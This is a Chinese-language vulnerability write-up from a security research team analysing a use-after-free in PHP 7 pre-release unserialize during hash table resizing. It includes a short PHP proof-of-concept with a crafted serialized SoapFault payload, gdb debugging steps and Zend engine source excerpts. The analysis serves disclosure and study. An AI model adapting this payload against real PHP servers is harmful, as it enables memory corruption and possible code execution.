PHP 7 ZEND_HASH_IF_FULL_DO_RESIZE Use After Free 漏洞分析
知道创宇安全研究团队 niubl:2015.8.18
1. PHP介绍
PHP(外文名: Hypertext Preprocessor,中文名:“超文本预处理器”)是一种通用开源脚本语言。
PHP语法吸收了C语言、Java和Perl的特点,易于学习,使用广泛,主要适用于Web开发领域。PHP 独特的语法混合了C、Java、Perl以及PHP自创的语法。它可以比CGI或者Perl更快速地执行动态网页。用PHP做出的动态页面与其他的编程语言相比,PHP是将程序嵌入到HTML(标准通用标记语言下的一个应用)文档中去执行,执行效率比完全生成HTML标记的CGI要高许多;PHP还可以执行编译后代码,编译可以达到加密和优化代码运行,使代码运行更快。
2. 漏洞简介
PHP反序列化函数unserialize在反序列化字符串时,对于R或r类型引用,如果引用的是已经释放掉的变量,则有可能导致Use After Free漏洞。在PHP的众多漏洞中,http://www.cvedetails.com/vulnerability-list/vendor_id-74/PHP.html,很多都是unserialize函数引发的问题。之前有Stefan Esser介绍关于PHP unserialize RCE的演讲(http://www.slideshare.net/i0n1c/syscan-singapore-2010-returning-into-the-phpinterpreter),也有Tim Michaud关于PHP unserialize RCE的文章(http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in.html),这是个有趣的漏洞。
在本文中,主要介绍PHP 7 在ZEND_HASH_IF_FULL_DO_RESIZE 时引发的Use After Free漏洞,当反序列化字符串时,如果HashTable哈希表中使用的元素个数超过哈希表本身的容量,就会重新申请一块更大的内存放置元素,并释放掉之前使用过的内存,然而这时R或r引用引用了释放掉的内存,造成Use After Free漏洞。
3. 影响版本
- php-7.0.0alpha1
- php-7.0.0alpha2
- php-7.0.0beta1
- php-7.0.0beta2
- php-7.0.0beta3
4. 漏洞POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
<?php $addr = 0x4141414141414141; $sf = new SoapFault('1', 'knownsec1', 'knownsec2', 'knownsec3','knownsec4', str_repeat("A",232).ptr2str($addr)); $ob = unserialize("a:2:{i:0;".serialize($sf).'i:1;r:10;}'); //var_dump($ob); function ptr2str($ptr) { $out = ""; for ($i=0; $i<8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?> |
5. 漏洞分析
gdb载入编译好的php文件
1 |
gdb ./sapi/cli/php |
在文件var_unserialize.c 375行下断点
1 |
b var_unserialize.c : 375 |
上面的断点中加入命令打印数据
1 2 3 4 |
command 1 print *(var_entries *)var_hash ->first printzv 0x7ffff685ba20 end |
运行poc.php
1 |
r ../poc.php |
断下后输入c继续运行一次,显示如下
上图中可以看到var_hash中的SoapFault结构第8个字段faultstring指向的0x7ffff685c000内存地址,由于HashTable哈希表初始容量最小为8,而SoapFault有13个元素,所以这个时候需要增加容量,这个是在zend_hash_add_new()函数中判断的,zend_hash_add_new()函数调用的_zend_hash_add_new()函数,_zend_hash_add_new()函数调用_zend_hash_add_or_update_i函数,_zend_hash_add_or_update_i函数代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
static zend_always_inline zval *_zend_hash_add_or_update_i(HashTable *ht, zend_string *key, zval *pData, uint32_t flag ZEND_FILE_LINE_DC) { zend_ulong h; uint32_t nIndex; uint32_t idx; Bucket *p; IS_CONSISTENT(ht); HT_ASSERT(GC_REFCOUNT(ht) == 1); if (UNEXPECTED(!(ht->u.flags & HASH_FLAG_INITIALIZED))) { CHECK_INIT(ht, 0); goto add_to_hash; } else if (ht->u.flags & HASH_FLAG_PACKED) { zend_hash_packed_to_hash(ht); } else if ((flag & HASH_ADD_NEW) == 0) { p = zend_hash_find_bucket(ht, key); if (p) { zval *data; if (flag & HASH_ADD) { return NULL; } ZEND_ASSERT(&p->val != pData); data = &p->val; if ((flag & HASH_UPDATE_INDIRECT) && Z_TYPE_P(data) == IS_INDIRECT) { data = Z_INDIRECT_P(data); } HANDLE_BLOCK_INTERRUPTIONS(); if (ht->pDestructor) { ht->pDestructor(data); } ZVAL_COPY_VALUE(data, pData); HANDLE_UNBLOCK_INTERRUPTIONS(); return data; } } ZEND_HASH_IF_FULL_DO_RESIZE(ht); /* If the Hash table is full, resize it */ add_to_hash: HANDLE_BLOCK_INTERRUPTIONS(); idx = ht->nNumUsed++; |
上面的代码中调用了ZEND_HASH_IF_FULL_DO_RESIZE()函数,判断HashTable哈希表是否增加容量,她是个宏语句,最终调用zend_hash_do_resize()函数
1 2 3 4 |
#define ZEND_HASH_IF_FULL_DO_RESIZE(ht) \ if ((ht)->nNumUsed >= (ht)->nTableSize) { \ zend_hash_do_resize(ht); \ } |
zend_hash_do_resize函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
static void ZEND_FASTCALL zend_hash_do_resize(HashTable *ht) { IS_CONSISTENT(ht); HT_ASSERT(GC_REFCOUNT(ht) == 1); if (ht->nNumUsed > ht->nNumOfElements + (ht->nNumOfElements >> 5)) { /* additional term is there to amortize the cost of compaction */ HANDLE_BLOCK_INTERRUPTIONS(); zend_hash_rehash(ht); HANDLE_UNBLOCK_INTERRUPTIONS(); } else if (ht->nTableSize < HT_MAX_SIZE) { /* Let's double the table size */ void *old_data = HT_GET_DATA_ADDR(ht); Bucket *old_buckets = ht->arData; HANDLE_BLOCK_INTERRUPTIONS(); ht->nTableSize += ht->nTableSize; ht->nTableMask = -ht->nTableSize; HT_SET_DATA_ADDR(ht, pemalloc(HT_SIZE(ht), ht->u.flags & HASH_FLAG_PERSISTENT)); memcpy(ht->arData, old_buckets, sizeof(Bucket) * ht->nNumUsed); pefree(old_data, ht->u.flags & HASH_FLAG_PERSISTENT); zend_hash_rehash(ht); HANDLE_UNBLOCK_INTERRUPTIONS(); } else { zend_error_noreturn(E_ERROR, "Possible integer overflow in memory allocation (%zu * %zu + %zu)", ht->nTableSize * 2, sizeof(Bucket) + sizeof(uint32_t), sizeof(Bucket)); } } |
在zend_hash_do_resize代码中可以看到,代码调用了memcpy把旧的数据拷贝到新的内存地址去,并且释放掉旧的内存地址:
1 2 |
memcpy(ht->arData, old_buckets, sizeof(Bucket) * ht->nNumUsed); pefree(old_data, ht->u.flags & HASH_FLAG_PERSISTENT); |
然而我们再次在gdb中按c继续运行,再断下,观测var_hash结构:
可以发现faultstring指向的地址发生了变化,0x7ffff68613a0,这是由于HashTable哈希表增加容量造成的,然而在var_hash结构中,faultstring之前指向的地址0x7ffff685c000仍然在,她已经被释放掉了,这时如果有R或r引用该地址,即会造成Use After Free漏洞,POC构造如上所示。
6. 相关链接
- https://bugs.php.net/bug.php?id=70211
- http://www.slideshare.net/i0n1c/syscan-singapore-2010-returning-into-the-phpinterpreter
- http://www.php-internals.com/book/?p=chapt03/03-01-02-hashtable-in-php
- http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in.html
- https://github.com/80vul/phpcodz